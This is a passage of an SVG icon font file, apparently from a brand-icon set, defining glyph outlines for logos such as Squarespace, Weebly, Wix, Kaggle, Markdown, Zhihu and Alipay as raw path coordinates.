3.69727c-0.445312 0 -0.43457 -0.0166016 -0.879883 -0.0175781 +c-129.36 0 -222.399 -53.4697 -222.399 -155.35c0 -109 92.1299 -145.881 176.829 -178.73c33.6406 -13 65.4004 -25.3604 87 -41.5898c0.868164 -0.65332 1.42969 -1.69238 1.42969 -2.86133c0 -1.16992 -0.561523 -2.20508 -1.42969 -2.8584zM503 214.91 +c0.698242 -7.59375 0.950195 -15.1699 0.950195 -22.9443c0 -31.8691 -5.99902 -62.3467 -16.9307 -90.3662c-0.526367 -1.31445 -1.81543 -2.24023 -3.31738 -2.24023c-0.608398 0 -1.18066 0.152344 -1.68262 0.420898 +c-29.4893 16.3594 -61.6094 28.3398 -92.6797 39.9297c-60.2803 22.4902 -112.34 41.8896 -112.34 84.4902c0 1.45996 -3.87988 53.6299 80.25 53.6299c50.8604 0 92.7197 -17.4805 144.48 -60.4805c0.706055 -0.598633 1.17871 -1.46484 1.26953 -2.43945z" /> + <glyph glyph-name="squarespace" unicode="" horiz-adv-x="512" +d="M186.12 104.66l157.22 157.2c38.5703 38.5898 101.13 38.5898 139.72 0c38.5908 -38.5801 38.5908 -101.13 0 -139.721l-119.25 -119.239l-0.0400391 -0.0400391c-19.2891 -19.2705 -50.5498 -19.25 -69.8193 0.0400391l154.149 154.14 +c19.29 19.29 19.29 50.5703 0 69.8604s-50.5693 19.29 -69.8594 0l-157.181 -157.181c-9.64941 -9.64941 -25.29 -9.64941 -34.9395 0c-9.65039 9.65039 -9.65039 25.29 0 34.9404zM430.65 209.46c9.63965 -9.63965 9.63965 -25.2803 -0.0107422 -34.9297l-157.199 -157.2 +c-38.5801 -38.5703 -101.141 -38.5703 -139.721 0l-0.0195312 0.0195312c-9.64062 9.65039 -9.62988 25.29 0.0195312 34.9307l0.0107422 0.00976562c9.64941 9.63965 25.2793 9.62988 34.9199 -0.00976562l0.0498047 -0.0498047 +c19.29 -19.2607 50.5498 -19.2402 69.8193 0.0498047l157.2 157.18c9.64062 9.65039 25.2803 9.65039 34.9307 0zM168.66 122.13c-38.6006 -38.5801 -101.13 -38.5801 -139.73 0.00976562c-38.5801 38.5801 -38.5801 101.13 0 139.721l119.23 119.25l0.0195312 0.0195312 +c19.3008 19.2803 50.5703 19.2705 69.8506 -0.0195312l-154.17 -154.17l-0.0302734 -0.0302734c-19.2803 -19.2998 -19.2598 -50.5605 0.0302734 -69.8398l0.00976562 -0.0107422c19.29 -19.29 50.5703 -19.2793 69.8496 0.0107422l157.21 157.18 +c9.64062 9.63965 25.2705 9.63965 34.9102 0c9.64062 -9.65039 9.64062 -25.29 0 -34.9404zM81.3301 174.53c-9.64062 9.64941 -9.65039 25.29 0 34.9297l157.189 157.19c38.5908 38.5898 101.131 38.5898 139.721 0c9.64941 -9.64062 9.64941 -25.2803 0 -34.9307 +c-9.64062 -9.64941 -25.2803 -9.64941 -34.9307 0l-0.0195312 0.0205078c-19.29 19.2793 -50.5596 19.2695 -69.8398 -0.0205078l-157.21 -157.189c-9.64062 -9.64062 -25.2705 -9.64062 -34.9102 0z" /> + <glyph glyph-name="themeco" unicode="" +d="M202.9 439.57c9.89941 5.72949 26 5.81934 35.9492 0.209961l191.15 -107.63c10 -5.60059 18 -19.4404 18 -30.8604v-217.29c0 -11.4404 -8.05957 -25.29 -18 -31l-191.19 -108.74c-9.92969 -5.66016 -26 -5.56934 -35.8496 0.209961l-185.1 108.41 +c-9.86035 5.78027 -17.8604 19.7402 -17.8604 31.1201v217.29c0 11.4404 8 25.3604 17.9102 31.0801zM125.5 239.74c-15.9404 0 -31.8896 -0.140625 -47.8301 -0.140625v-101.449h19.1299v29.8496h28.7002c49.71 0 49.5596 71.7402 0 71.7402zM265.64 139.45 +l-30.7295 34.6396c37 7.50977 34.7998 65.2305 -10.8701 65.5098c-16.0898 0 -32.1699 0.140625 -48.2598 0.140625v-101.59h19.1299v33.9092h18.4102l29.5596 -33.9092h22.7598v1.2998zM224.05 221.77c23.3398 0 23.2598 -32.46 0 -32.46h-29.1299v32.46h29.1299z +M128.49 223.37c21.1797 0 21.1094 -38.8506 0 -38.8506h-32.3105v38.8408zM321.14 241.62c-68.46 0 -71 -105.8 0 -105.8c69.4805 0.00976562 69.4102 105.8 0 105.8zM321.14 224.23c44.1201 0 44.8008 -70.8604 0 -70.8604c-44.7998 0 -44.4297 70.8604 0 70.8604z" /> + <glyph glyph-name="weebly" unicode="" horiz-adv-x="512" +d="M425.09 382.17c50.9102 0 87.5498 -35.1504 86.9199 -83.4697c0 -21.6201 -0.950195 -18.5498 -77.5 -227.2c-22.3799 -60.5703 -67.7695 -69.6699 -92.7402 -69.6699c-39.2393 0 -70.0391 19.46 -85.9297 54.29c-15.8896 -34.5205 -46.7002 -53.9805 -85.9297 -53.9805 +c-24.9697 0 -70.3701 8.78027 -92.7402 69.3506c-72.9902 200.21 -77.1699 204.52 -77.1699 233.479c0 43.3105 38.5898 77.2002 87.54 77.2002c40.21 0 73.2803 -25.7295 83.6602 -64.3301c18.4795 58.0498 65.5 64.3301 85.2803 64.3301 +c19.4492 0 66.7891 -6.26953 84.9492 -64.3301c10.3799 38.6006 43.7803 64.3301 83.6602 64.3301zM451.43 267.36c3.49023 11.1992 7.29004 19.3701 7.61035 27.2393c0 22.3906 -16.1602 35.71 -38.3301 35.71c-18.6904 0 -31.9902 -11.7998 -36.1104 -29.0498 +l-44.0293 -139.819h-0.950195l-44.6602 136.79c-6.01953 19.9697 -16.4697 32.0791 -38.96 32.0791s-32.9404 -12.4092 -38.96 -32.0791l-44.6602 -136.79h-0.950195l-44.0293 139.819c-4.12012 17.25 -17.4199 29.0498 -36.1104 29.0498 +c-22.4902 0 -38.3301 -13.0195 -38.3301 -29.3594c0 -10.5898 2.54004 -19.6699 7.91992 -34.5l64.9404 -175.23c7.91016 -21.4795 21.2197 -37.2197 46.2393 -37.2197c23.1201 0 37.0605 12.0996 44.0205 33.5996l39.2803 117.42h0.949219l39.2803 -117.42 +c6.65039 -21.4893 20.5898 -33.8994 44.0303 -33.8994c25.0195 0 38.3203 15.7295 46.2402 37.2197z" /> + <glyph glyph-name="wix" unicode="" horiz-adv-x="640" +d="M393.38 316.31c0 -13.0293 2.08008 -32.6895 -28.6797 -43.8291c-9.52051 -3.4502 -15.9502 -9.66016 -15.9502 -9.66016c0 31 4.71973 42.2197 17.4004 48.8594c9.75 5.11035 27.2295 4.62988 27.2295 4.62988zM277.58 280.77 +c5.47949 26.3408 30.8799 38.3408 55.2998 35.2705l-65.5703 -247.93s-21.6396 -1.56055 -32.46 3.95996c-14.2197 7.25 -20.9893 12.8398 -29.5898 46.5693c-7.66992 30.0703 -29.1494 118.4 -31.1201 124.7c-4.30957 13.8105 -10.6396 14.9404 -15.3994 0 +c-2.00977 -6.29004 -23.4502 -94.6299 -31.1201 -124.7c-8.61035 -33.7295 -15.3701 -39.3193 -29.5898 -46.5693c-10.8301 -5.52051 -32.46 -3.95996 -32.46 -3.95996l-65.5703 247.93c23.8604 3 49.7305 -8.5498 55.2803 -35.2705l34.2393 -132.659l28.4805 108.569 +c7.76953 32.3506 21.0596 48.5303 48.4297 48.5303c27.6201 0 40.7402 -16.54 48.4307 -48.5303l28.4795 -108.569zM393.36 275.56v-8.97949l0.0195312 0.00976562v-150.27c-0.129883 -30.8301 -3.33008 -37.6807 -17.2598 -44.7803 +c-10.8203 -5.52051 -27.3701 -3.42969 -27.3701 -3.42969v152.069c0 21.25 -1.95996 27.9404 13.1797 35.2002c6.19043 2.96973 11.96 5.25 17.9707 8.61035c9.35938 5.22949 13.46 11.5693 13.46 11.5693zM556.8 191.48l82.9902 -123.36s-35.9297 -4.62012 -53.3203 11.21 +c-13.9102 12.6602 -23.7393 28.3398 -53.1396 70.7197c-0.5 0.770508 -6.25977 10.5205 -13.0703 0c-34.9297 -50.3496 -41.0195 -60.2598 -52.5098 -70.7197c-17.3799 -15.8301 -53.9502 -11.21 -53.9502 -11.21l82.9697 123.36l-83.1992 123.739 +s35.1094 5.98047 52.5 -9.84961c13.3799 -12.1797 24.8896 -30.2402 54.1797 -72.4697c6.82031 -10.54 12.5996 -0.730469 13.0703 0c29.7695 42.9199 40.8799 60.3691 54.1797 72.4697c17.3896 15.8301 52.5 9.84961 52.5 9.84961z" /> + <glyph glyph-name="ello" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM391.84 154.8c2.48047 7.44043 -2.47949 15.71 -9.91992 17.3604c-7.43945 2.47949 -15.71 -2.48047 -17.3604 -9.91992 +c-14.0498 -52.9102 -62 -90.1104 -116.56 -90.1104s-102.51 37.2002 -116.56 90.1104c-1.65039 7.43945 -9.9209 11.5693 -17.3604 9.91992c-7.44043 -1.65039 -11.5703 -9.91992 -9.91992 -17.3604c16.5303 -65.3096 76.0498 -111.6 143.84 -111.6 +s127.31 46.29 143.84 111.6z" /> + <glyph glyph-name="hackerrank" unicode="" horiz-adv-x="512" +d="M477.5 320c14.5 -25 14.4805 -230.92 -0.00976562 -256s-192.391 -128 -221.33 -128c-28.9404 0 -206.83 102.8 -221.32 128s-14.4102 230.79 0 256s192.351 128 221.32 128s206.84 -103.05 221.34 -128zM316.13 33.7803c3.95996 0 40.4404 35.7793 37.5605 38.6895 +c-0.870117 0.839844 -8.82031 1.49023 -17.6904 1.83984c0 32.4004 -3 19.0508 0.679688 210.341c0.0703125 3.65918 -1.04004 5.37988 -4.5 5.37988c-11.0801 0.0693359 -22.1602 0.0195312 -33.2295 -0.0605469c-3.25977 -0.0292969 -4.31055 -1.80957 -4.20996 -5.2002 +c1.58984 -48.8994 1.2002 -79.0898 1.2002 -83.6396h-80.2607c0.629883 25.7998 0.209961 79.6396 2.62988 105.39v3.16016c8.87012 0.350586 15.9004 0.970703 16.7705 1.83984c2.90039 2.91016 -34.3203 38.6904 -38.2705 38.6904 +c-3.94922 0 -41.4092 -35.7695 -38.4893 -38.6904c0.879883 -0.839844 7.58984 -1.48926 17.2598 -1.83984v-3.16992c3.15039 -128.67 1.07031 -179.229 0.150391 -212.67c-0.130859 -4.58008 1.63965 -6.10938 5.73926 -6.10938 +c10.1406 0.0292969 20.2803 -0.0800781 30.4102 -0.0800781c4.16016 -0.0605469 5.96973 1.39941 5.74023 5.93945c-1.83008 36.6797 -1.37012 65.7803 -1.37012 72.8799h79.9297c0 -2.41992 0.44043 -3.84961 0.44043 -5.84961 +c-0.350586 -17.7305 -0.94043 -60.0898 -0.94043 -86.3203c-11.29 -0.349609 -16.6797 -0.959961 -17.5498 -1.83008c-2.91016 -2.91992 34 -38.6895 38 -38.6895z" /> + <glyph glyph-name="kaggle" unicode="" horiz-adv-x="320" +d="M304.2 -53.5l1.39941 -7.59961c-0.5 -2 -2.5 -3 -6 -3h-66.8994c-4 0 -7.5 1.7998 -10.5 5.2998l-110.5 140.6l-30.7998 -29.2998v-109c0 -5 -2.5 -7.5 -7.5 -7.5h-51.9004c-5 0 -7.5 2.5 -7.5 7.5v497c0 5 2.5 7.5 7.5 7.5h51.9004c5 0 7.5 -2.5 7.5 -7.5v-306 +l132.3 133.7c3.5 3.5 7 5.2998 10.5 5.2998h69.2002c7 0 7.89941 -7.7998 5.2998 -10.5l-139.8 -135.3z" /> + <glyph glyph-name="markdown" unicode="" horiz-adv-x="640" +d="M593.8 388.9c25.5 0 46.2002 -20.7002 46.2002 -46.1006v-301.6c0.0996094 -25.4004 -20.5996 -46.1006 -46.0996 -46.1006h-547.7c-25.5 0 -46.2002 20.7002 -46.2002 46.2002v301.5c0 25.4004 20.7002 46.1006 46.2002 46.1006h547.6zM338.5 87.4004h-0.200195v209.199 +h-61.5l-61.5 -76.8994l-61.5 76.8994h-61.5v-209.199h61.7002v120l61.5 -76.9004l61.5 76.9004v-120h61.5zM473.8 84.2998l92.2002 107.7h-61.5v104.6h-61.5v-104.6h-61.5z" /> + <glyph glyph-name="neos" unicode="" horiz-adv-x="512" +d="M415.44 -64h-95.1104l-108.21 154.54v-91.0996l-86.4297 -63.4404h-97.6904v482.18l40.4697 29.8203h108.05l123.74 -176.13v112.68l86.4307 63.4502h97.6895v-461.5zM38.7695 412.73v-460.73l72 52.8799v249.12l215.5 -307.64h84.79l52.3506 38.1699h-78.2705 +l-316.14 450.47zM121.31 -53.8799l80 58.7803v101l-79.7598 114.399v-220.939l-72.5498 -53.25h72.3398zM80.6299 437.23l310.601 -442.57h82.3691v442.57h-79.75v-317.561l-222.939 317.561h-90.2803zM311 256.35l72 -102.81v278.53l-72 -53v-122.721z" /> + <glyph glyph-name="zhihu" unicode="" horiz-adv-x="640" +d="M170.54 299.87h122.68v-217.55h-49.5293l-42.0107 -26.3701l-7.70996 26.3701l-23.4297 0.00976562v217.54zM268.29 105.94v170.31h-72.8203v-170.31l11.9004 -0.0400391l5.08008 -17.4707l27.8994 17.5107h27.9404zM149.83 200.33 +c7.5 0 7.58984 -23.6104 7.58984 -23.6104h-61.6504c-0.879883 -13.1201 -3.50977 -26.6895 -7.86914 -40.6699l14.6191 11.6201c8.73047 -8.75 29.2109 -32.8896 36.79 -41.8096c9.15039 -13.1006 1.24023 -39.9902 1.24023 -39.9902l-53.96 64.9395 +c-12.6094 -48.3496 -35.5898 -69.25 -35.5898 -69.25c-10.0898 -8.96973 -30.5098 -15.75 -51 -9.89941c42.8301 33.2197 66.4502 75.2402 70.8496 125.1h-65.5801s3.82031 23.6201 15.5605 23.6201h52.2695c0.480469 6.56055 1.68066 62.9404 1.68066 73.4404h-28.8701 +c-2.62988 -7.87012 -3.03027 -8.64062 -5.14062 -14.5303c-11.4697 -21.0303 -30.9492 -21.5703 -36.8398 -22.21c17.4902 34.9795 27.3105 69.2197 30.7002 78.1201c8.2002 21.5693 32.2705 21.5693 32.2705 21.5693c-5.25 -14.0098 -9.63086 -27.5498 -13.1201 -40.6699 +h88.5c10.5498 0.25 8.58008 -22.3096 8.58008 -22.3096h-51.1602c0 -21.8701 -0.459961 -46.3604 -2.2002 -73.46h52.3301zM561.85 201.93l-19.2295 14.4307s30.8301 40.0498 36.8301 48.1992c8.72949 10.7402 27.3799 -4.05957 27.3799 -4.05957 +s-24.1504 -32.9297 -44.9805 -58.5703zM411.76 261.02l0.00976562 0.0107422c8.99023 -8.25 34.6602 -45.8604 34.6602 -45.8604l-19.46 -13.7295c-1.59961 2.40918 -41.1201 57.4492 -41.1201 57.4492s16.9004 10.3799 25.9102 2.12988zM640 189.65 +c0 0 0.950195 -23.79 -8.73047 -23.79h-122.359v-73.3203c0.780273 -28.0303 -15.3301 -45.3096 -44.8906 -45.3096c-9.84961 0 -16.1396 1.75977 -26.0195 6.56934c-12.9805 7.4502 -17.3203 17.8701 -19.3096 21.8398c15.6094 -0.65918 27.6094 -1.91992 41.6895 -1.80957 +c13.29 -0.870117 24.4805 7.15039 24.4805 21.1201v70.9199h-107.94c-22.6895 0.540039 -25.5098 22.8496 -25.5098 22.8496h133.47v99.8105c-12.8301 0 -31.6797 -0.830078 -56.5098 -2.43066c-26.46 -0.80957 -35.8398 -2.58984 -49.1504 0.890625 +c-8.16016 2.46973 -14.1797 10.7295 -15.7793 19.5498c67.1396 1.55957 232.359 18.0498 232.359 18.0498s20.1006 5.75977 23.1699 4.58008c12.8105 -6.25 0.589844 -33.4395 0.589844 -33.4395c-17.6396 -0.810547 -46.8896 -2.40039 -87.7695 -4.81055 +c-10.4297 -0.799805 -18.04 -1.2002 -22.8496 -1.2002v-101c0.149414 0 111.279 0.930664 131.06 0.930664z" /> + <glyph glyph-name="alipay" unicode="" +d="M377.74 416c38.6895 0 70.0898 -31.5703 69.9297 -70.2598v-234.41c-48.6104 16.7002 -99.6895 36.04 -148.62 52.7402c23.1406 44.2998 38.3506 90.9199 38.3506 90.9199h-88.7705v31.2402h109.45v19.0098h-109.44v50.4199h-50.9199v-50.4199h-109.439v-19.0098h109.439 +v-31.2402h-92.0801v-16.7002h178.2s-9.91992 -30.25 -26.4502 -60.3398c-47.7793 14.71 -91.75 24.96 -127.13 24.96c-84.6396 0 -103.49 -42.4902 -99.5195 -81.5c3.30957 -31.0703 26.4502 -76.3701 97.04 -76.3701c64.4795 0 116.55 37.0303 148.62 81 +c61.0098 -28.0996 125.64 -62.8203 171.6 -88.4404c-0.5 -38.5195 -31.7402 -69.5996 -70.2598 -69.5996h-307.48c-38.8496 0 -70.2598 31.4102 -70.2598 70.2598v307.48c0 38.8496 31.4102 70.2598 70.2598 70.2598h307.48zM47.2803 125.05 +c-0.990234 17.5205 10.9102 50.5801 78.3594 50.5801c24.96 0 64.8105 -12.7295 109.44 -31.4102c-25.29 -33.2197 -65.7998 -72.8994 -117.87 -72.8994c-59.6797 0 -68.9404 33.5596 -69.9297 53.7295z" /> + <glyph glyph-name="the-red-yeti" unicode="" horiz-adv-x="512" +d="M488.23 206.3c2.95508 -3.9668 5.25098 -8.47559 6.76953 -13.2998c3.99121 -10.8701 7.04004 -22.4727 8.90039 -34.2002l-2.5 -0.5l-13 14.2998c-17.9004 -28.0996 -9.90039 -15.3994 -16.7002 -25.0996c0 -124.2 -101.3 -211.5 -223 -211.5 +c-61.5 0 -113.9 20.2002 -157.5 60.2002c-64.5 60.8994 -64.9004 125 -64.9004 150.5c-0.5 1.7998 -0.700195 3.5 -1.2002 5.2002l-20.1992 -22.4004c-6.80078 43 25.6992 74.2998 33 80.7002c0.5 1 0.699219 2.2002 1.19922 3.2002l-28.7998 1l-3 3.39941 +c8.5 3.5 25.2998 13.2998 40.2998 14.2998c7.63672 14.623 16.9365 28.0742 27.8008 40.3008c1.2998 6.39941 3.2998 14.1992 6.59961 25.7998l-7.59961 -4.7002l-1.7002 1.7002l1.7002 8.39941c10.6934 25.7754 26.6318 48.6221 46.6992 67.4004l-33 14.2998h3.7002 +c20.9004 4.90039 33.2002 3.2998 49.2002 0c-2.5 4.10059 -5.40039 10.5 -8.40039 18.9004c-1.36035 3.74219 -2.09961 7.81445 -2.09961 12.0244c0 4.69629 0.923828 9.17871 2.59961 13.2754c8.90039 -7.40039 14.3008 -24.5996 15.2002 -27 +c0.700195 3.59961 2.10059 21.2998 33.7002 45.5l1.83008 -0.5l-12 -44.2002c30 17.7002 63 21.9004 97.9004 11.7998c-12.7002 -12.1992 -24.3008 -28.8994 -42.5 -33c7.39941 -2.2998 28.6992 -9.69922 34.1992 -15.1992l-24.7998 7.09961 +c6.5 -6 19.6006 -16.4004 25.1006 -25.0996c23.7891 -1.09473 46.9111 -5.74414 68.3994 -13.3008l-0.5 0.5c29.4004 14.7002 37.7002 27.3008 74.7998 3c0 -30.1992 -2.2998 -23.3994 3 -29.7998c7.69336 6.50391 16.1553 12.0381 25.3008 16.5 +c13 6.40039 23.0996 4.7002 30.6992 -5.89941c11.8008 0 17.8008 -15.7002 18.4004 -27c14.7998 -2.90039 2.7002 -30.7002 2.5 -30.7002l-7.09961 -18.2002c7.7998 -7.7998 22.0996 -20.9004 31.6992 -44.7998zM398 336.8c-13.0996 8.90039 -22.7002 11.9004 -28.2998 8.5 +c8.09961 -7.2002 13 -14.2998 13.5 -20.7002c1.2002 -7.59961 -2.2002 -14.7998 -10.6006 -21.8994l-4.19922 -3.40039c4.2002 -6.89355 7.1416 -14.793 8.39941 -23.0996h2.5c-2.09961 13.8994 -2.5 11 0.700195 14.7998c11 -6.40039 14.9004 -14.5 16 -19.9004 +c21.7998 10.1006 29.5 12.7002 54.7998 20.9004l-18.2002 -16c11.4004 0 25.6006 0.299805 46.5 -8.40039c7 24.3008 7.10059 20.7002 2.5 20.7002l-4.69922 -11.2998c-1.7002 10.5 -2.90039 18.9004 -3.40039 25.2998c-0.5 6.7002 -3.90039 9.60059 -9.2998 10.1006 +c-0.0117188 -0.470703 -0.0126953 -0.894531 -0.0126953 -1.36816c0 -4.77148 0.594727 -9.40527 1.71289 -13.832l-1.7002 -5.90039c-2.90039 10.6006 -5.90039 20.2002 -9.2998 27.7998c-9.7002 17.7002 -30.2002 -9.19922 -43 -11.2998 +c4.53027 -0.25293 8.71777 -0.380859 13.3115 -0.380859c4.59277 0 9.15723 0.12793 13.6885 0.380859l-22.4004 -5.39941l3.40039 -4.7002c-5.5 0 -16.9004 -0.900391 -22.4004 17.2002zM358.4 346.9l-20.3008 -11.8008 +c11.3008 -7.59961 20.2002 -18.1992 27.8008 -31.1992c6.39941 2.89941 10.0996 5.09961 11.7998 7.59961c2.5 2.7998 2.5 4.7002 3 7.09961c0.599609 1.30078 0.799805 2.7002 -3.40039 11.1006c-7.5 11.7998 -16.2002 15.2998 -18.8994 17.2002zM91 304.9 +c-7.7998 -24.1006 -11.7002 -49.4004 -13.2002 -74.6006l13.2002 -5l1.2002 27c9.5 -16.3994 11.2002 -23.2998 12.2998 -28.7998c2.7998 2.09961 7.7002 7 22.5996 11.2998l1.2002 -1.7002l-7.59961 -10.5996c10.0996 3.5 19.5 3.5 28.2998 0.5l-10.5996 -8.40039 +c22.7998 -8.39941 26.5996 -7.59961 38.3994 -26.0996l-11.7998 1.2002c34.9297 -20.5 66 -47.9004 141.2 -63.2002c15.5996 24.0996 14 21.0996 14 22.9004l0.200195 0.199219l-0.200195 0.200195c-0.700195 1.90039 -14.1006 16.6006 -18.2002 20.7002 +c7.2998 -1.7998 6 -0.900391 10.7998 -3.7002c1.7002 -0.899414 -5.39941 5.40039 -21.8994 20.2002c16.5 -6.7002 27.5996 -15.5 33 -27.7998l1.69922 30.7002l-22.3994 17.6992l6.39941 5.90039c-7.2998 0 -31 3.7002 -49.1992 -16l-2.5 0.5 +c6.9668 14.3867 12.4512 30.0156 16 46c1.9209 9.16797 2.95508 18.5742 3 28.2998c0 19.5 -4.7002 38.4004 -13.5 56.6006c-6.40039 13.5 -16.5 25.2998 -30 35.3994c-6.5957 4.94238 -13.4805 9.43652 -20.7002 13.5c3 0.700195 1 1.2002 -5.40039 1.2002 +c-6.39941 0.200195 -13 0.700195 -19.3994 1.2002v-3c-10.2949 -1.63086 -19.2871 -7.22266 -25.3008 -15.2002h-1.19922l-5.40039 -3.40039c-1.2002 2.90039 0 6.30078 4.2002 9.30078l10.5996 11.2998l-3.39941 -0.5l2 3.39941 +c-2.30078 0.200195 -4.2002 0.5 -6.2002 0.700195l-0.5 1.2002l2.5 1.7002c2.2002 -0.200195 4.59961 -0.5 7.09961 -0.700195c2.9043 1.54785 6.22559 2.4375 9.74414 2.4375c1.45898 0 2.88184 -0.150391 4.25586 -0.4375l2.5 -1.2002l0.200195 -0.5 +c7.93457 0.514648 15.7422 1.49121 23.4004 2.90039c20.6992 2.89941 36.6992 11.2998 48.5 24.7998l-21.1006 0.5c-25.7998 0.5 -49.3994 -5.40039 -71.2998 -18.9004l-2.5 2.5l0.5 4.7002l1.7002 7.10059c1.66211 8.54199 3.83691 17.1143 6.39941 25.2998 +c-1.69922 -0.700195 -4.59961 -4.90039 -9.2998 -11.2998c-4.7002 -6.40039 -8.39941 -13 -10.0996 -19.4004c-1.0957 -5.14258 -3.14062 -10.0195 -5.90039 -14.2998l-13.5 29l8.40039 -35.7998l-0.5 -1.7002c-0.00585938 0 -0.0146484 0.0117188 -0.0195312 0.0117188 +c-5.57227 0 -10.9424 0.87207 -15.9805 2.48828c-3.40039 0.700195 -10.6006 1.2002 -20.9004 1.2002c0.5 0 -0.700195 0 -3.2002 -0.5c5.40039 -1.30078 13.5 -4.2002 24.8008 -8.40039l6.39941 1.2002c-4.2002 -3.40039 -10.8994 -10.1006 -20.2002 -19.4004 +c-9.39941 -8.89941 -20.1992 -26.0996 -32.5 -50.2002l4.2002 1.2002l10.1006 9.2998l-5.40039 -4.69922l13 12.2998l-2.5 -3.40039c-5.09961 -7.59961 -8.09961 -12.2998 -9.2998 -15.2002zM367.5 -25.0996c8.2998 40.2998 3.59961 55.1992 -0.700195 89.5 +c-35.5 -11.8008 -20.2998 -6 -32 -10.8008l10.5 -14.1992l-1.2002 -1.2002c-20.1992 6 -23.1992 10.7998 -27.7998 15c6 -22.2002 13.9004 -26.4004 29.5 -31.7002c-9.5 -9.59961 -25.3994 4 -34.3994 13l2.5 -23.5996l-4.2002 -3c-5 22.0996 -22 39.0996 -25.2998 39.0996 +c-44 -13 -79.1006 -5.7998 -113.9 10.5996c-1.59961 -0.399414 -70.5996 -18 -120.5 37.1006c13.7002 -35 32.2998 -63.7002 71.2998 -82.6006c-4.98047 10.3184 -12.0117 19.3135 -20.7002 26.6006c0 0 0.700195 3.7002 1.2002 10.0996 +c19.4004 -19.3994 50.7002 -39.5 93.2002 -60.2002c-59.5996 24.5 -59.9004 24.8008 -69.0996 29l16 -20.6992c-3 -1.30078 -6.7002 -0.5 -10.1006 1.19922c-12.5371 7.32422 -24.2949 15.5693 -35.3994 24.8008c1.89941 -2.2002 80.0996 -98.5 200.899 -74.3008 +c-43.0996 21.8008 -52.3994 52.4004 -66.5996 73.5l17.7002 -7.59961l-11.8008 23.0996c20.1006 -27.7998 28.6006 -35 38.4004 -44.2998l-30 16.5c12.5996 -27.0996 33.7002 -47 63.5 -58.7998c2.90039 1.5 9.09961 -1.09961 59 23.9004zM482.8 189.3l8.93066 -12.7998 +l-12.3008 32.5c10.9004 0 10 -0.0996094 21.2002 -3.40039c-8.16406 11.4756 -17.0879 22.0469 -27 32l-26.5996 23.1006l1.2002 3l23.5996 2.5c-10.6865 2.35742 -21.708 3.79199 -33 4.2002l-17.7002 -0.5l-0.5 2.89941l14.7998 13l-41.7998 -20.2002l-12.2998 18.9004 +l3.40039 -16l-2.5 -1.2002l-5.90039 4.2002h-10.0996l5.39941 -4.2002v-2l-13.5 -27.7998c-10.0996 -31.2002 -21.8994 -67.9004 -35.3994 -109.7l1.19922 16l-1.19922 -3v-0.5c-6.40039 -16 -13.6006 -29.5 -21.2002 -39.5996l9.2998 21.8994l-46.7002 -20.1992 +c11.7998 13.5 23.6006 19.3994 34.9004 18.8994c-71.2002 11.4004 -106.2 41 -110.4 46c3.60059 -6.2002 13.2002 -17.7998 16 -40.0996l-1.7002 -1.2002c-4.2998 15.5996 -16.3994 46.5996 -55.7998 69.5996l23.6006 -2.5c-10.5 12.6006 -36.3008 17.8008 -40.8008 16 +l-2.5 2.5l8.40039 8.40039l-22.2998 -5.7998l5.39941 13.5c-8.09961 -4.40039 -4.2998 -2.40039 -17 -8.90039l-1.69922 0.5c0.599609 0.600586 0.899414 -0.700195 -3 9.2998c-0.600586 -11 -0.400391 -8.59961 -1 -11.7998 +c-1.29785 -0.430664 -2.54785 -1.00781 -3.7002 -1.7002c-40 20.6006 -57.2002 11 -73 5.2002c36.7998 -6 29.2998 -4 38.3994 -9.2998c-25.7998 -12.2002 -31.8994 -12.5996 -51.3994 -70.0996l22.2695 22.2998l2.5 -16.4004c13.4004 -58 68.7002 -92.5 126.4 -83.3994 +l-26.1006 22.3994l44.8008 -22.3994l-1.2002 -3c4.59961 -1.7002 9.2998 -3 13.5 -4.2002c19.3359 -5.72266 39.5713 -8.83887 60.752 -8.83887c11.0293 0 21.8643 0.832031 32.4482 2.43848l-32.5 21.2002c35.7998 -7 50.6992 -31.4004 56.7998 -39.5996l-7.60059 29 +l1.2002 2.5l19 -27.9004l-9.2998 26.5996l21.9004 -13.5h1.19922l-3.39941 4.2002l7.09961 -4.7002l-14.2998 16l1.2002 3l7.59961 -7.09961c4.2998 1.2002 41.4004 10.5 80.9004 40.2998c47.8994 35.4004 68.0996 73.7998 71.5996 79.7002l-3 9.2998zM476.7 260.6 +l-18.2002 -1.19922l14.2998 -11.8008zM221.9 253.5c2.69922 -5.09961 5.69922 -12.4004 18.3994 -18.7998c-7.5 -10.9004 -8.2998 -10.5 -20.2002 -16c-7.59961 -7.7002 -13.5 -13.1006 -17.6992 -14.7998l7.09961 13c-5.38281 -1.97266 -11.167 -3.06836 -17.2295 -3.06836 +c-2.57324 0 -5.10156 0.194336 -7.57031 0.568359l-0.5 1.19922c19 2.10059 37.2002 9.40039 46.5 16c-4.10059 4.2002 -7.10059 11.3008 -8.7998 21.9004zM225.6 355.8c5.87793 -3.32715 10.7842 -8.04688 14.3008 -13.7998 +c14.6992 -24.0996 19.1992 -40.0996 11.2998 -47.7002c-7.90039 -7.59961 -16.7998 -7.09961 -26.1006 3c-9.2998 10.1006 -13.5 23.7002 -11.7998 39.6006c1.7002 15.8994 5.90039 22.2998 12.2998 18.8994zM220.9 309.5 +c7.09961 -21.2998 33.3994 -23.0996 26.8994 4.90039c-3.89941 16.5 -8.7998 27.0996 -15.2002 32.5c-6.59961 5.39941 -10.0996 6.69922 -11.2998 4.19922c-2.5 -2.89941 -3.5 -11.2998 -3 -24.7998c7.5 12.7998 11.6006 5.90039 12.5 4.7002l-0.5 -0.5 +c-0.799805 -1.7002 -2.59961 -3.09961 1.7002 -6.2002l1.2002 0.5v-4.7002c-1.7998 -12.5 -6.90039 -12.7998 -12.2998 -10.5996zM175.9 315c-2.41016 0.448242 -4.38965 2.04102 -5.40039 4.2002c-3.5 8.5 0 21.2002 8.09961 21.2002 +c2 -0.5 3.7002 -1.7002 5.40039 -4.7002c-1.5 -0.400391 -4.7002 -4.7998 0.700195 -5.90039h0.5c0 -13.7002 -7.7002 -15.0996 -9.2998 -14.7998zM216 365.1l-3.7002 2.40039l-0.5 2.5c18.2998 0 25.7998 -8.7998 28.2998 -14.2998 +c-6.94727 3.78809 -14.9268 5.97363 -23.3916 5.97363c-0.90918 0 -1.81152 -0.0244141 -2.70801 -0.0742188l-0.5 3zM144.2 315.7c1.59961 -1.60059 0.599609 -0.299805 4.89941 -6.60059c-25.3994 -4.69922 -23.1992 -12.2998 -30 -12.2998 +c0.300781 0.600586 7.10059 16 23.6006 16l-7.10059 7.60059c9.40039 0.5 15.2002 2.09961 19.9004 